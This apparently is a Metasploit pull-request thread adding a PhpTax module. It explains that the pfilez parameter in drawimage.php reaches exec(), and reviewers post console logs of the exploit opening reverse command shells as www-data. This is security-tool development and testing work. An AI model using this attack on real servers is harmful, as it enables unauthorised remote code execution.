Add PhpTax pfilez exec module

[wchen-r7]

This module exploits a vuln found in PhpTax. When generating a PDF, the icondrawpng() function in drawimage.php does not properly handle the pfilez parameter, which will be used in a exec() statement, and results in arbitrary code execution.

Test:

msf  exploit(phptax_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 10.0.1.580 - Sending request...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XKIxxuB3YxoD9ozE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "XKIxxuB3YxoD9ozE\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 2 opened (10.0.1.3:4444 -> 10.0.1.5:52472) at 2012-10-08 12:45:33 -0500
[*] Command: echo waVTbmrWXre4wbJb;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "waVTbmrWXre4wbJb\r\n"

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[jlee-r7]

Might be able to use find_* payloads if the target is Apache.

[jvazquez-r7]

Tested and working:

• Check

msf  exploit(phptax_exec) > check
[*] The target service is running, but could not be validated.

• Exploit

msf  exploit(phptax_exec) > rexploit
[*] Reloading module...
[*] 192.168.1.13080 - Sending request...
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 2hfAYZKZSnpQC1A7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "2hfAYZKZSnpQC1A7\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.130:38738) at 2012-10-08 22:05:17 +0200
[*] Command: echo oxzs3fgLjxgIHwLT;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "oxzs3fgLjxgIHwLT\r\n"
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Since there are other comments, awaiting for a response before merging.

[jvazquez-r7]

retested and working, merged!

msf > use exploit/multi/http/phptax_exec 
msf  exploit(phptax_exec) > set RHOST 192.168.1.130
RHOST => 192.168.1.130
msf  exploit(phptax_exec) > rexploit
[*] Reloading module...
[*] 192.168.1.13080 - Sending request...
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Z1QbpPzF2ZpaAA1u;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Z1QbpPzF2ZpaAA1u\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.130:38755) at 2012-10-09 00:07:38 +0200
[*] Command: echo qMoBSQjd9CkLXD4D;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...